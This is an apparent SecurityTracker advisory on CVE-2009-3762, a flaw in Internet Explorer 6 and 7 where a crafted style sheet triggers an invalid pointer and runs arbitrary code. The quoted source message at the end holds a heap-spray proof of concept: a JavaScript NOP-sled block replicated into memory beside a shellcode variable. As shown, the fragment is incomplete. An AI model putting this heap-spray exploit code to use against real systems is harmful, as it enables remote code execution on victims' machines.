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Category:   Application (Web Browser)  >   Microsoft Internet Explorer (IE) Vendors:   Microsoft
Microsoft Internet Explorer Invalid Pointer Reference in getElementsByTagName() Method Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1023226
SecurityTracker URL:
CVE Reference:   CVE-2009-3762   (Links to External Site)
Updated:  Nov 24 2009
Original Entry Date:  Nov 23 2009
Impact:   Execution of arbitrary code via network, User access via network
Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 6, 6 SP1, 7
Description:   A vulnerability was reported in Microsoft Internet Explorer. A remote user can cause arbitrary code to be executed on the target user's system.

A remote user can create a specially crafted style sheet that, when loaded by the target user, will trigger an invalid pointer reference error in the getElementsByTagName() method and execute arbitrary code on the target system. The code will run with the privileges of the target user.

IE 5.01 SP4 for Microsoft Windows 2000 SP4 is not affected.

IE 8 is not affected.

K4mr4n_st at reported this vulnerability.

Impact:   A remote user can create a CSS page that, when loaded by the target user, will execute arbitrary code on the target user's system.
Solution:   No solution was available at the time of this entry.

The vendor's advisory is available at:

Vendor URL: (Links to External Site)
Cause:   Access control error
Underlying OS:   Windows (2000), Windows (2003), Windows (2008), Windows (Vista), Windows (XP)

Message History:   None.

 Source Message Contents

Date:  Fri, 20 Nov 2009 11:04:29 -0700
Subject:  IE7

K4mr4n_st () yahoo com
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
<HTML xmlns="";> 
            function load(){
                var e;
        <STYLE type="text/css">
            body{ overflow: scroll; margin: 0; }
        <SCRIPT language="javascript">
var shellcode = 
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
    <BODY onload="load()">


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